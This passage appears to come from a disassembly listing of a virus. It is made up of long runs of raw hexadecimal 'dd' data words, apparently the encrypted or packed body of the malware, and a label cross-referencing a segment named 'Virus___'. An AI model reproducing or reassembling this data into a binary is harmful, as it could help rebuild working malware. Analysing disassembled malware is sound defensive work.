		dd 31E127A8h, 0EB886287h, 0E661C9A6h, 98E54647h, 694C3029h
		dd 0CA9B504Ah, 4B366440h, 91A009DDh, 6A9B504Bh,	0ADF5723Eh
		dd 7FAE684h, 4429EB31h,	0AC03CAF4h, 2F48EB41h, 4F6D12A2h
		dd 279B504Bh, 0A98E3A7Ah, 287F2D65h, 62E97E9Ch,	0B3D43949h
		dd 6016E94Fh, 0E188B517h, 9554CCD2h, 0A568C887h, 6D4E0DF7h
		dd 2DBA5969h, 3402F6CCh, 0D77025DEh, 0CDEDADC9h, 0D7613118h
		dd 7F8AA30Fh, 0C4B04497h, 4B26FEE5h, 0DA81D9h, 56031312h
		dd 36D1304Fh, 45B36BF6h, 25B83571h, 3138B5B2h, 1EBD4A50h
		dd 1F89AABDh, 0D7613D2Fh, 6693069Bh, 0FD4617F5h, 0C7F6387Dh
		dd 0E2EF4EA2h, 8766CEF8h, 8F88F0B7h, 90E225A8h,	4B27B2E5h
		dd 6AE9E3E7h, 4D59EF12h, 3965E70Ah, 454AC3D6h, 179E366h
		dd 0B477A681h, 6CFFB714h, 319B504Bh, 6594AF90h,	0F5ED1A5Ch
		dd 6127BAFEh, 5D8350FDh, 319026E4h, 2CD11975h, 262499B2h
		dd 0D5260B4Fh, 0D05D056Eh, 0AD3B06DDh, 0F37B0934h, 5A5CE27Eh
		dd 1CAA3EC3h, 4036DF0Dh, 0BE868489h, 0BB44E808h, 82F37E72h
		dd 4E7F2544h, 53A5F0EAh, 1B9A648Eh, 8A59BCFAh, 8EECA495h
		dd 0D28D7FC6h, 6F1FB0A8h, 7A702FAEh, 331DBD02h,	143D15B0h
		dd 4B86C714h, 0C1A76414h, 940B6557h, 0F7E02888h, 46C02D62h
		dd 3E70142Eh, 0EB9EB2D9h, 2CD8D780h, 0F0D8176h,	504A2620h
		dd 7C71E9EFh, 0E554ADBBh, 0DFE19F3Bh, 0A568CA87h, 0FB94F38Fh
		dd 0C3CD345Bh, 9998217Fh, 0B59A7E62h, 0ADE2B3C7h, 8E8C6ECBh
		dd 38F730A2h, 0AB6AA5CEh, 0FEC0955Fh, 71FCA42Ah, 8524C282h
		dd 8B8A949h, 0B5538750h, 0A889416Eh, 83EB7268h,	0C0540E58h
		dd 0AE386EF4h, 0D77063CCh, 23BE6BF3h, 0D7605337h, 0DA9BFE93h
		dd 0B9A60A46h, 19EA4075h, 185E4EA3h, 0A4D84642h, 4B5FBAC5h
		dd 0C4BB16C8h, 4B27498Ah, 31E63AD9h, 1F5E587h, 0E3906A3Fh
		dd 526EFB88h, 0BE85113Ah, 60A50EB8h, 1C225741h,	389CDF0Dh
		dd 1EE52510h, 2AEF25BDh, 0EF2D8D77h, 0A003FBF3h, 4FF3EE62h
		dd 92AF42C7h, 0E5102167h, 25D70843h, 0A89D3D7Dh, 75459530h
		dd 0FC8D7F38h, 817596E2h, 72A1ACBAh, 9CFDCD26h,	874D155Bh
		dd 4B62639Ah, 33D556D9h, 868D10CFh, 3F5BE78Ah, 0C19AE60h
		dd 0E06EF221h, 98B568ECh, 0FCB3B3E9h, 2DF35C2Fh, 43661FA3h
		dd 0BC8EE7E5h, 0E9006906h, 5B854EEDh, 66EDE3C5h, 1ECA476Ah
		dd 31E2ADC2h, 0FDF5E587h, 42E20354h, 0A0B91E31h, 245696DCh
		dd 0AEC816B2h, 1CF96152h, 9A8D4644h, 0A56D989Eh, 59D23956h
		dd 0A8EF931Eh, 9F0BD7F5h, 0DF17B399h, 9A8B0EA4h, 8E6DD5EBh
		dd 3CE1458Dh, 8D9AF3C5h, 9A9A4B93h, 4B27B28Ch, 9E660B2Dh
		dd 0FC8FF650h, 2EE35B8Dh, 87CEB822h, 0B79A533Dh, 6CC93C91h
		dd 3D5344Fh, 0D7611FD3h, 0EED0B156h, 4A9A6307h,	0C4CA82C1h
		dd 0D7611E15h, 0E97D9822h, 0C48267EDh, 4B2614E0h, 84B058D9h
		dd 0B99B504Bh, 0FF6A9DA0h, 0D770FEEEh, 0C1E89020h, 9847C757h
		dd 11D7CA38h, 0E38DFE7Bh, 708D79AAh, 0C7A40D33h, 5F194647h
		dd 25FCEDEDh, 5ED773A6h, 0F31AAD00h, 3C2A1759h,	51FF1F9Ch
		dd 1F18E9F9h, 6A0F835Ch, 75C34425h, 0BE8BC74Dh,	0DAD774CCh
		dd 55615FEh, 192C0F3Eh,	3F415BBDh, 4B1E7422h, 0ED3687D9h
		dd 0B4E2D2BDh, 8076C320h, 0BCB1E599h, 0D770222Ah, 9847C6ECh
		dd 389C50C9h, 0E84DB58Bh, 9CC14EA2h, 633ADEF4h,	25F8E85Fh
		dd 0AC3C15E5h, 0D762D4B9h, 5FEE43AFh, 0C483A177h, 4B27C505h
		dd 7DB0E1D9h, 9C9B504Bh, 6832EDC8h, 0DA87E0h, 0D7A1312h
		dd 489A541Fh, 0C22ED537h, 2E8CCB92h, 2CCA47BDh,	2E9B84E2h
		dd 0F7CB79BDh, 9A9126CAh, 0CE2ACF0Fh, 0BCBA455Bh, 0DF924095h
		dd 474ED5B4h, 0C792B2D9h, 8EBA585Ah, 296271CEh,	7023817Bh
		dd 0DED6F764h, 0EFF82EB4h, 0D770547Fh, 0C9D85B83h, 5F2D65B3h
		dd 0D6C9E967h, 70004259h, 0CAD8D9B5h, 0E66B5924h, 9655CBD3h
		dd 0BC275F44h, 0DD432B59h, 5649370h, 8594D621h,	0A649FA07h
		dd 1819A1C7h, 35E91914h, 1789F1Ch, 0AEB189CEh, 0D2769132h
		dd 50C6B55h, 563B1FE4h,	54524174h, 0E130F9E3h, 6313E442h
		dd 5B5A941Ah, 0A5DDF760h, 0CDCD932Ch
		dd 777D53B9h, 4B1D4FAAh, 0FE19A2D9h, 0D2D63C22h, 0AB3723E1h
		dd 59F47A64h, 2DCB4E05h, 74D95CC1h, 0F8A6DFE5h,	0B9D09823h
		dd 8F1B3C4Eh, 8B4223A9h, 0C0DC257Bh, 0AF514EEDh, 0FD6CAB09h
		dd 0BE851DCFh, 9B660C53h, 0C1F1B98Dh, 3D9B504Dh, 28608784h
		dd 628A1F9Bh, 31BCBA30h, 1EE49C75h, 0E4F0FEBDh,	0D5BF9B86h
		dd 0D8CBC72h, 0B05F7FC3h, 4EF5F627h, 0FD9CF1EBh, 0D76134D4h
		dd 29806D2Ch, 0ED352EBDh, 65307C70h, 5551A0BBh,	0CF94F395h
		dd 0E1E199D9h, 0CC6717D9h, 0C55CFD79h, 3B7C23A0h, 0C701C1EFh
		dd 0D1377367h, 31454647h, 7737E083h, 0AA7B4FA1h, 0E127B2D9h
		dd 1AEB726Bh, 49DD6F6h,	0B582D46Bh, 0D771973Dh,	9A2E89FDh
		dd 5C6D2E8Eh, 55982125h, 6327B2D9h, 0D9FB7268h,	1EED709Ch
		dd 29DFB2BDh, 0A176E4Fh, 31E12273h, 86AE8C87h, 0D19E1562h
		dd 4B276BCCh, 2BAD3ED9h, 0D985F8E7h, 373CCF85h,	40195B8h
		dd 0B9D65A39h, 50CD70E4h, 149BBBC1h, 25F4A434h,	7B2F477Bh
		dd 8F760FADh, 0CBE9325Fh, 0A36D4EEDh, 9E660B2Dh, 0A959DC50h
		dd 46AE3AF8h, 85025BC6h, 0B09A5371h, 0B3DA3D9Eh, 98FFC3A7h
		dd 2BAFC785h, 0EDACF2BCh, 0B0D68A02h, 0F5A364F8h, 7174AE08h
		dd 7F66CA83h, 4847155Bh, 161E4D31h, 0FCF787CFh,	60F9F395h
		dd 46A77381h, 0E676EE0h, 111EA007h, 5B471F1Ah, 268408F2h
		dd 0B0543821h, 0AC6EA838h, 64091B56h, 5800AC23h, 0FCF6511Dh
		dd 5E63D195h, 0AB6D08FAh, 3C74AE36h, 1D8B3BC0h,	0A98E3A06h
		dd 941C921h, 835F2F18h,	0C627B2C6h, 0D9FB726Bh,	3A3FCF25h
		dd 20C55EE3h, 0D77020B3h, 97C617B5h, 649A7562h,	81C28232h
		dd 2B9B649Dh, 56CB4A38h, 0F720F9E3h, 68EB791Fh,	2E069A5Ah
		dd 72A2AD83h, 0C54D9A08h, 7D812BF9h, 6F7B8FAh, 0E295285Eh
		dd 709E2A9Bh, 0AA882290h, 4C023DD7h, 0F7D67598h, 0E5ADE185h
		dd 24CE0AA4h, 1307F5Ch,	0C09E4172h, 25224CF2h, 0AE34D3F5h
		dd 0BDDF966h, 0CDFE9E1Eh, 0AC6A4594h, 1CB8D9CBh, 0B79A53C5h
		dd 0DACD4199h, 0D045951h, 61B1B4C6h, 0E7300227h, 4B65FEB1h
		dd 0D76116FAh, 4E6E1F3Dh, 2C9A6302h, 0A89D3D7Bh, 0B8CD205Ch
		dd 0E4F06390h, 2EC5597h, 0EDF15BCh, 26D8554Bh, 55148C13h
		dd 2CE83754h, 67EE7DB2h, 4EF5E80Fh, 0E0711F26h,	0ED4D3432h
		dd 0BC53BA3h, 7B04D57Bh, 0BB99206h, 9E4E20C7h, 28B10BD1h
		dd 2C8D0691h, 0B14238E2h, 72065BABh, 0FBFC746Bh, 58FFD622h
		dd 6C168C36h, 4335DD38h, 0E8686F92h, 0C6ECAC3Ch, 18396854h
		dd 0C02CC295h, 0AEB93287h, 9D22CB2Eh, 0FAF973BEh, 0C6B8D725h
		dd 0A40B8E77h, 0DFF2BAAFh, 0DF9871DAh, 5D345019h, 4FCE229h
		dd 0F2A5C230h, 0CDDF17BBh, 35A57605h, 40F2BDDDh, 81B4B2D9h
		dd 0BCB1E599h, 0D770DC36h, 5DBC88E8h, 845B73E7h, 0AC0C2C9Ch
		dd 0A2F018EFh, 0C6A8D537h, 0BCFE438Bh, 0E1F36AA5h, 2951D1A4h
		dd 18841BDh, 6AE9E3CCh,	0F7AFA306h, 9D9C2D8Bh, 199B504Bh
		dd 0D9DF32A8h, 0D77027F1h, 2BC4490h, 2EA68CD6h,	4306F8BDh
		dd 0BB9E6338h, 0C4B4AB9Dh, 0A9EC6069h, 4DDE587h, 129E2F26h
		dd 6B8D797Fh, 0A29B72FAh, 9463BB1Bh, 0BE8A1FADh, 9A49942Ch
		dd 0EA0F96CBh, 0C3D225ACh, 41936648h, 25A12905h, 1634A9B2h
		dd 5066E07Fh, 0BE853499h, 1F24D818h, 0EE7CAE05h, 8EABDE87h
		dd 0AD9B5FD3h, 0F1F79DD6h, 0AE60B02Dh, 526582C1h, 0D7705050h
		dd 0F37B09D7h, 7A4205EBh, 8011B17Eh, 0D760675Dh, 0A93FE6F5h
		dd 0F62EE1EBh, 9F5A505Fh, 0C1DCA837h, 0D3D3FF7h, 0AA4DCC73h
		dd 0E4E225BAh, 4B27B2C5h, 9E660B73h, 91146F50h,	0D574E93h
		dd 40F7414Ah, 58C5B2D9h, 909B2634h, 0F3728B80h,	9E660B02h
		dd 0AC646F50h, 28444E93h, 0AA452908h, 0FBCC29B9h, 0D761D9CAh
		dd 5EEEF34Eh, 75F06879h, 0EC906A53h, 31E2C38Fh,	869C8C87h
		dd 0D3A81562h, 4B181382h, 620586D9h, 0B682407Fh, 0EF8B173Dh
		dd 3C48DD93h, 101FA351h, 9306B81Dh, 0A74223B9h,	5DBCCCFCh
		dd 28F78F33h, 0E75F5775h, 0CCB0F916h, 0EB354EEDh, 72C674h
		dd 425091E0h, 0C6B43AF0h, 0BE8A3313h, 2CC57797h, 734C0FFDh
		dd 1E9469C0h, 80718ABDh, 0F5854DB7h, 0CC265C58h, 0E2A74EA2h
		dd 2E8ECCB9h, 0CF548BDh, 0F61CA338h, 0C0417B00h, 675E53BAh
		dd 1E008D5Ch, 337D30D9h, 87EAA20Ch, 0BEC7E7A7h,	8D63C0D8h
		dd 0B7DAAAD7h, 2E97F796h, 912CBBC0h, 39EC57B4h,	119FE0C8h
		dd 2061A810h, 9C90C454h, 465CE29Ch, 8E7AB2D9h, 0C0B4ABADh
		dd 0E86475h, 0EDA6FA3Ch, 19DEBD8Ah, 0E9888257h,	820D8B17h
		dd 394B2EE0h, 0FB06F6Bh, 0D7E9A734h, 548555A3h,	0D19A7DAAh
		dd 31E2A72Bh, 86908C87h, 0B7BC1562h, 4B1847A6h,	6019AD9h
		dd 0DAD9540Bh, 88AFFBC9h, 61EC71ACh, 0B583466Dh, 7CE29428h
		dd 9E17ADh, 0C1E89018h,	97125456h, 0F35AFB81h, 0C7D41D02h
		dd 87494EEDh, 6AE9E301h, 0E156A712h, 6C6046DCh,	6DB3C61Ch
		dd 8FA9D357h, 0CF9B8C0Ch, 4625A0A9h, 0E1BFD941h, 5D8E82DCh
		dd 0F42A949Eh, 0E5B24584h, 24AC0F54h, 27A39E9Fh, 0A62EEED5h
		dd 0DC9D5054h, 0E6394F5h, 67F4A9B2h, 7826BE20h,	17C636B4h
		dd 9796BFE7h, 7F6CE34h,	6027B2D9h, 9CE5A35h, 7B0C0673h
		dd 74001AFh, 0E2E93224h, 0ADC84E92h, 7E9FAF23h,	3F194E7Bh
		dd 3B67F7DDh, 78C6E0D2h, 9CD82680h, 0EF80E987h,	43054EA2h
		dd 9289F4C0h, 0C85575B0h, 149ACDB0h, 8F5CF133h,	7CAC0D55h
		dd 343F2A4Fh, 15DADE3Ch, 35812A7Fh, 0A1C562A9h,	0BFA87112h
		dd 966B120Eh, 0B5833E93h, 58586187h, 75D37500h,	0EBA4875Ch
		dd 42145DA0h, 0A382304Dh, 0EA245BC0h, 195DC3CBh, 0D6C68AECh
		dd 0EE1BAB10h, 0D27B22Ch, 20FFB729h, 0E24A327Ah, 346B04B7h
		dd 6EA9CDEDh, 6F24525Fh, 83942C36h, 5B67E09Fh, 0E27AA54h
		dd 0E6600C33h, 700618EAh, 0D7584C79h, 86C000F8h, 4B27B2BBh
		dd 54FFF67Bh, 0B29B4FC4h, 0E2917268h, 8AE0439Bh, 0D7A32179h
		dd 432542BEh, 108EE7E5h, 2088AF0Dh, 14813969h, 3F92C43Eh
		dd 0DCE761FCh, 1EA0C7BFh, 0D7A33728h, 6E8A1FAFh, 0CC561980h
		dd 4F520F7Fh, 9027403Ch, 0D739375Eh, 0F4A49C51h, 785B9439h
		dd 0D7583441h, 8628E7E9h, 2B3CC10Eh, 0DFC917C2h, 4444F796h
		dd 0B662B2D9h, 73637444h, 0A3514C0Ah, 0E58E02D4h, 0D1C6A5A2h
		dd 0D697696Eh, 9A34D3EFh, 517326B8h, 27D95703h,	0EE107F0Ch
		dd 6C4D3DBBh
		db 0ABh, 7Dh, 9Ah
byte_5AD317	db 0E9h			; DATA XREF: Virus___:00562DB0o
		dd 8397FD3h, 0E0E2E889h, 4D042293h, 0B3E61C9h, 0D1AC6113h
		dd 3848024Eh, 0BE868281h, 245F2918h, 0A16962B2h, 5575710Eh
		dd 65767B49h, 115571Eh,	0A2274BDh, 0D2FFAB1Dh, 10BDC89h
		dd 0C1A658BDh, 0B9AF749Ch, 4198614Bh, 0FCC908B0h, 45C4023Fh
		dd 37E2B2D9h, 0E8E3F3C5h, 18D1BC8Dh, 640F8354h,	50452523h
		dd 5117E9EFh, 1BB4536Ch, 0D6ECA638h, 0A659D782h, 6F90FF8Ch
		dd 0EDCDBD38h, 699A7DA0h, 31E1F050h, 0E10E63B1h, 0DA8F4647h
		dd 7D957E5Eh, 0D469E0C8h, 8BA5FFFFh, 8A94FE74h,	3F1EB50Fh
		dd 0C86FEF66h, 2458C18Ch, 0DA8841B2h, 19A349D7h, 0B9AA81BDh
		dd 2A609D7Eh, 0B463F2FEh, 374A93D6h, 3B4D46D2h,	0D3C29920h
		dd 5C19EA18h, 0B94CCE92h, 2ECA1BB1h, 4A0577D2h,	3485905h
		dd 4E4BDBE9h, 227BF399h, 0A9DD2B2Dh, 0D1779018h, 4542D706h
		dd 6EA8F5CFh, 0A911965Bh, 0AE386E1Eh, 0D77025D0h, 5AEF6FEFh
		dd 15732C8Eh, 0E1E2A20Eh, 922FBB73h, 0D7605A67h, 0BDD431BDh
		dd 0C4BB1D48h, 4B26FD23h, 0DACFD9h, 2BEB1312h, 630E70B3h
		dd 0EB069F48h, 0D771EA8Ah, 61F8942Ch, 313D789Ah, 67B64EA0h
		dd 0B3747838h, 0C4F9C9A7h, 313F7ABFh, 232D4EA0h, 0D010D43h
		dd 0EAF79328h, 7084AD8Dh, 0C4838EA5h, 4B2781D7h, 31E16BD9h
		dd 0E0886287h, 7864469Fh, 0C8772C8Ch, 9230416Bh, 0DA93D13Eh
		dd 0BEAF0946h, 5F0924BAh, 0CA601FB8h, 149ACD15h, 0BE8A04DEh
		dd 0B6D32651h, 9B8C6ECAh, 6CF64B91h, 0BE8A0496h, 19234240h
		dd 3D1C8A0Ah, 6F791291h, 0BE8A0809h, 0FE806F9Fh, 63F9B7E7h
		dd 31BCBA30h, 7E81A9EAh, 0F08A0361h, 648D34h, 0E7F3A723h
		dd 0D770674Bh, 0F83981A7h, 959A74AFh, 0C042B0DEh, 5D839753h
		dd 0E1B90227h, 0FD8D70F8h, 25CAA247h, 10056663h, 2F80942Fh
		dd 7CC155Bh, 4B243B17h,	0BBBD4ED9h, 0EE950836h,	4753DF95h
		dd 1411A648h, 0C9E66A09h, 0A0BD60F4h, 64CBCBF1h, 0B5EB74E4h
		dd 4B5F576Ah, 24A6DFDDh, 0C3F8624Fh, 537D4EEDh,	66EDE33Dh
		dd 1ECA476Ah, 0DAADC2h,	55EB1312h, 2720E1C1h, 0E2B85204h
		dd 9CEB4E92h, 2EE3074Ch, 0B97986BDh, 0C73E84A9h, 0A3334EA2h
		dd 0C8C299C1h, 0E93A7419h, 144516DDh, 0C1F5857Dh, 18A04755h
		dd 9827B2D9h, 0F376B0E2h, 0A9EE4EA2h, 31E15421h, 0EA3DE587h
		dd 5CF7F1BCh, 93F194B9h, 44292993h, 0D9601183h,	0F39B5F82h
		dd 0EAAC0AB5h, 0D7EFAD8h, 31189C08h, 258B6CA3h,	0F58605EFh
		dd 19467F21h, 0EF11EBBDh, 0BB4547B4h, 0BF6D12BAh, 368E1F04h
		dd 4D1757A4h, 0BBBD4491h, 8800836h, 0DA7CB53Dh,	8EA82D36h
		dd 0FDBE684h, 2D27B2D9h, 4B5F5789h, 3A5D2DAh, 0D5C49414h
		dd 89086E4Ch, 0CF84F1BFh, 63F47CA9h, 0B0BC407Fh, 0EE860937h
		dd 4640DC92h, 11A7394Bh, 0D75838D9h, 0A821A158h, 0BDDCAC1Ch
		dd 0E5025407h, 735CFDBAh, 0A865A670h, 35F49018h, 0C5AC9CECh
		dd 0FB7E99ACh, 0D7A322EAh, 959027CDh, 16E71DFDh, 1395F4ABh
		dd 0D4A20B02h, 3CE83395h, 1BC824A6h, 2BE51B00h,	561D8308h
		dd 0C5A73A6Fh, 9BF07857h, 61CE228Ah, 0FD53452h,	649C859Eh
		dd 1FCA6679h, 76264606h, 0EAB3E4AEh, 6169CC48h,	0D83D859Bh
		dd 8CB13C2Bh, 0D2D63C15h, 939E8526h, 41B6DC63h,	10E909Bh
		dd 1F582D6Eh, 9917701Bh, 501F810Bh, 4366CFE8h, 108EE7E5h
		dd 2FF3AF0Dh, 4B27B23Dh, 0BEB4AB1Ah, 0A4B18E77h, 69C5A1A9h
		dd 190BCD53h, 0B3941C6Ch, 0A412ED20h, 48167D36h, 51208E0Ah
		dd 45F38DC3h, 6DFB99D6h, 0F5C3A12Eh, 58FAA8D9h,	66CC3151h
		dd 0FD54C53h, 60A702F4h, 4B27BE2Ah, 4B2AE5D9h, 4C9AB2D9h
		dd 4CA7160Dh, 6BA7010Dh, 4B2A7246h, 63A8B2D9h, 4B27B22Dh
		dd 8F0BC6A8h, 900BC6AEh, 1A8ABAEh, 4B27B22Dh, 0C02B9464h
		dd 0C3D2DE24h, 2EC8DE2Ch, 8441F719h, 8548A546h,	0F6AFE1B9h
		dd 5613946Bh, 0C228397Ah, 9CC015C1h, 0CA0BBEACh, 4B27BEECh
		dd 0F2351AD9h, 44A0B2D8h, 38E7330Dh, 910BBEACh,	6A89CAEh
		dd 4B27B22Dh, 4B2A7D46h, 3C9AB2D9h, 449D160Dh, 65A70F0Dh
		dd 4B2A7046h, 5A8B2D9h,	4B27B22Dh, 8F0BD6A8h, 73CE4FCEh
		dd 2C6BD7E0h, 0C856BF4Bh, 0C06ED128h, 4419D00Dh, 9B47A3EAh
		dd 6DD78506h, 3C0BECF7h, 0FC251406h, 7A2BAC89h,	210A4EECh
		dd 205A56Fh, 0D7F79D47h, 0BD01F279h, 0BB288376h, 0E0C3E30Bh
		dd 0BE195E01h, 0AAF92FB5h, 3B9CC728h, 0C21AD7C4h, 4C076DB5h
		dd 91261828h, 4B27BFC1h, 5C0D2D9h, 0ACBB3903h, 0ACEB312Dh
		dd 4B27C92Dh, 5C80CD9h,	711BBDE9h, 28B9BE26h, 0C659281Ch
		dd 400EB0DDh, 4B2609E1h, 58D8B34Fh, 4B27B2E4h, 92650939h
		dd 470A06AEh, 470AFF46h, 4B27B23Bh, 0E1650106h,	62A675C7h
		dd 0FF9C8BBDh, 4B1AD730h, 0DD27B2D9h, 443EDBD8h, 0AB27B2D9h
		dd 0C3C17F00h, 0CA2ADF64h, 562ADE6Ch, 8027B2D9h, 46A37F78h
		dd 0B3883979h, 0EB1AD708h, 0C2553B33h, 4DFF719Dh, 69CF1128h
		dd 4C0F999Ah, 9B261828h, 4B27BFC1h, 5CED2D9h, 0ACEB3971h
		dd 0ACEB312Dh, 4B279C2Dh, 5D6F2D9h, 3829789Ah, 4B27BCAEh
		dd 239039D9h, 621AD72Ah, 4B27B229h, 5F0754AAh, 20ABD4F0h
		dd 0B6D2B088h, 0E37E4CB9h, 3DB44DE3h, 40BDCB3Ch, 4B269A7Bh
		dd 8907B2D9h, 7CA714A4h, 8CA8BE0Dh, 4B13BE0Dh, 96D9B2D9h
		dd 6D38E7A4h, 0F8F6DF41h, 40BD9719h, 5A9C4DE0h,	9ECB3Ch
		dd 6802AECCh, 0C273B3Eh, 20B233F0h, 10509D43h, 0B772CBABh
		dd 0E808A8CAh, 0B0869105h, 77C2599h, 0D40894FFh, 6A01A65Ah
		dd 22CC3302h, 0C9473423h, 0A281CB8Fh, 9B2F04EEh, 0DB228E9h
		dd 0BF31628Ch, 0EF0AAB87h, 686EF390h, 11A040D5h, 52B4FD8Fh
		dd 0BC6C1861h, 0A2845D14h, 0CA0AEBAAh, 719F8E48h, 0CCDC2B2Fh
		dd 6FD27679h, 0A881120Ch, 6D4BC01Dh, 9BC075FCh,	0E5C1D461h
		dd 0E8CF2C9Eh, 0F9A04397h, 930E2FCDh, 0D305C045h, 9A63C024h
		dd 6474AF3h, 0E9B53C49h, 0E8C4C1A6h, 0F6474397h, 0E9B46864h
		dd 0F223C95Eh, 99EA4AF2h, 5E454394h, 0E9B46D29h, 0EB0BC95Eh
		dd 0E8CE4AF2h, 0FFC94397h, 0E9B54D98h, 0DB7E43C5h, 0E8CE439Ah
		dd 0AB0D8BF7h, 74AE9725h, 74AE971Dh, 0E8CE43F2h, 620C73D7h
		dd 0E176EDFCh, 75E64E69h, 0DFCE4394h, 0CED9DC7h, 6BF960AFh
		dd 5E461689h, 0E9B54381h, 4202122Fh, 0F5C13EA3h, 0E5B0D860h
		dd 0C1CAAD9Eh, 0E5C09C60h, 0D40ACE9Eh, 12528B8Bh, 52CC0D1Ah
		dd 8948C9ADh, 0F214C0DDh, 481C0A9Ch, 9734E85Bh,	440A3BA6h
		dd 777F7836h, 3A97ACABh, 0A1C6F1A8h, 1C23438Eh,	0F67E2449h
		dd 59AA2ED3h, 53A093B0h, 7DD193B2h, 0ED5B48B1h,	9BDCECDEh
		dd 0C6F4F15h, 195BBE02h, 61387BA3h, 0C6C32DAFh,	8BDE3763h
		dd 0C6F40B9h, 0FF107BA3h, 675F2DAEh, 6CB93760h,	67560E69h
		dd 0BE7F3760h, 0D0DC5FA6h, 0C8D42ABFh, 67772ABFh, 0D7943760h
		dd 0F5EAF3A6h, 9A7D4B12h, 0C6F45ADh, 12A5CBCBh,	6CB92DAFh
		dd 67560E75h, 0CA7F3760h, 70DD83A6h, 0C8D42ABCh, 676E2ABFh
		dd 0C3883760h, 0A33F12A6h, 536F4A39h, 95A2670Fh, 675F3746h
		dd 89AE0DDEh, 0F84CCF35h, 77D83662h, 0E95A125Fh, 60475A63h
		dd 75F3760h, 8FAEE96Fh,	0E6484A24h, 2484A1Fh, 205F3760h
		dd 6D77E977h, 675F18F8h, 729A2E60h, 0A65DCA6Ah,	0C8884E6Fh
		dd 0E765943h, 0D19D33A2h, 0C4AD06DEh, 0B65DABDEh, 6CB92DAEh
		dd 16DDABCBh, 0ACDE2DAFh, 0FCBDFAFFh, 6655AF3Fh, 14983DFAh
		dd 0CFF57A2Eh, 0D7FEA97Ah
		dd 48ED7AC9h, 0D13070B7h, 88CC3D7h, 0C4EF6CEBh,	0A9C00C8Ch
		dd 96E51B7Bh, 775B81Dh,	0EA8CDEC7h, 2D5C2111h, 0D58D782Bh
		dd 717B5A50h, 2F8CE1D4h, 2C8F11C7h, 8F42CE9Dh, 4CAEFA2Eh
		dd 23BB13F4h, 2B211607h, 0B86611BCh, 171DEC6h, 128CDEC7h
		dd 5912FD11h, 0BF0313BCh, 57B3EAE0h, 89E468DEh,	0A94D3F64h
		dd 2B858565h, 3D7315B4h, 8552123Eh, 8C7D012Fh, 8F3A4FAFh
		dd 0B7902EC6h, 7140C418h, 82A8AD8Ch, 24A2850Ch,	2DDDA479h
		dd 0FC1D80FAh, 0DD928558h, 221CEA8Fh, 0FC4708D2h, 3DA28558h
		dd 273848Ah, 85520654h,	69A5CB8Ch, 0AB2659EAh, 2DD9C306h
		dd 5E8D132Bh, 0FA228877h, 0FC697D6Ah, 0A5AC8558h, 5224A287h
		dd 1D7B43D6h, 7B7DF44Bh, 8552062Ch, 5A48AB9h, 73C87245h
		dd 0F3D30750h, 0E5527750h, 0A67380DEh, 11CF3F64h, 0F84125A6h
		dd 281E8EB6h, 0B537C5ABh, 283C2D82h, 6 dup(283CC5ABh)
		dd 1EDF8EABh, 75DC5ABh,	0D8BFC0A7h, 183B887Dh, 11D66E84h
		dd 55993349h, 0BACC972Dh, 83E780ACh, 4AA0A26Fh,	247EE569h
		dd 0FF786C8Ch, 698A3AEFh, 0DDBD837Bh, 73330387h, 30CCD0A2h
		dd 98DBED0Bh, 30E52165h, 3E9DD911h, 16EDD54Dh, 0BDA9CA53h
		dd 9777E642h, 76FC7BCDh, 3AF6A832h, 735D208Fh, 16E0AA38h
		dd 0FCE45082h, 401ADC2Dh, 15F7492Bh, 67D43E98h,	813FAC93h
		dd 7FC1C33Ch, 0DF4FFDE0h, 2B338B67h, 0ECAED747h, 0B5D77D06h
		dd 0DC264E17h, 0BEF19AD6h, 734D2FF5h, 0CAA56BAh, 0B99E2CAEh
		dd 9A10ED69h, 0D74A1C14h, 3A7D6D8Bh, 0BEA03856h, 0CFC33034h
		dd 89D37191h, 7CA1FD2Dh, 2EA6A3DDh, 0DBB1180h, 12D00B39h
		dd 6FB6F7BCh, 0B2D90CECh, 61114CE3h, 7DB4C1AFh,	6E91CF43h
		dd 0DDE07AF7h, 0EFE1EAFCh, 0B9EF4320h, 0F5687AF7h, 94705CBEh
		dd 0F9032A85h, 0A4D9F7A1h, 4F8E2C55h, 608B717Ah, 283CC58Dh
		dd 809DD8B5h, 8926EE1Fh, 0B68C6E2Dh, 1EB5759Eh,	9731E80h
		dd 0E8024B9h, 38D551FFh, 0D68B7DF5h, 283CC5D9h,	0C9F6D91Fh
		dd 0AEDF9A76h, 0FC4C851Eh, 0DB7B47C9h, 0D97040AAh, 0C65AC19Fh
		dd 3705AD25h, 0CC50FDEDh, 0EDFE9540h, 0A5E5A6E6h, 0F9261F3Eh
		dd 0FFB0A6B0h, 0F9406FD8h, 0C73268C4h, 50C317F5h, 0CA4DF560h
		dd 2199E0E3h, 0DC758CDFh, 3C9D9D4Eh, 70EA43C4h,	841B64B6h
		dd 0A364B70Dh, 0FCD5BEEFh, 0F15514h, 1FD9A390h,	6EBA2FE5h
		dd 826EE568h, 8D247592h, 905D042Fh, 0D3D56EBBh,	8FC162C5h
		dd 0B79627E8h, 4218346Dh, 0CAE86453h, 2F496593h, 288A6066h
		dd 0CA5BBF05h, 8D2C323Ah, 0B0E244F6h, 2830FC7Bh, 75A0C5ABh
		dd 0A71D01D4h, 0BAFB1ECEh, 5CB2A5A9h, 2E7EE075h, 0C9CFCC48h
		dd 0A82DFBE7h, 0D30CACAAh, 8DCC8D4Eh, 30196BEFh, 605BEFC1h
		dd 92A50D8h, 9DB7D7BAh,	2831177Bh, 3D57C5ABh, 0BFA2BC05h
		dd 5D2F7ACCh, 0EC64366Bh, 51F29291h, 0EB29DEECh, 11413A57h
		dd 8FF0A47h, 958D0750h,	0FAD069A2h, 7313C80Eh, 906AFC4Ah
		dd 2978952Fh, 9A847C06h, 34C499A8h, 57457ACCh, 988426F8h
		dd 62FE58BCh, 0AC4E470Ch, 84611019h, 0E4B55399h, 0B5750328h
		dd 0A6E96678h, 8418F63Bh, 5E83B026h, 0F9868CEAh, 283CFE3Eh
		dd 41935DABh, 0CEE96F59h, 0C8F3D8F7h, 2CC3D34Fh, 55BC94B4h
		dd 892626B7h, 0CD6EA72Dh, 8461E332h, 36EF02B9h,	0DDE89A77h
		dd 0A8AD2EB4h, 6218290Dh, 3436B65h, 0EA54D1A6h,	3D0ED80Eh
		dd 0B01C8B9Ch, 66DCB140h, 0BFBD7210h, 806F4C05h, 0BB2C3A4h
		dd 6C0D2851h, 0C32EE663h, 0F731414h, 0B8FDC0Eh,	0BEE27260h
		dd 42C3F443h, 0FF307FDFh, 0E6CD598Ch, 4FBF7A19h, 53D931CAh
		dd 0C7039C66h, 2EC60C05h, 66A5F16Dh, 2698B85Ah,	112E798Fh
		dd 763CC5D2h, 0A5E08618h, 0E5D59007h, 0A8DA622Eh, 1DB3CFB0h
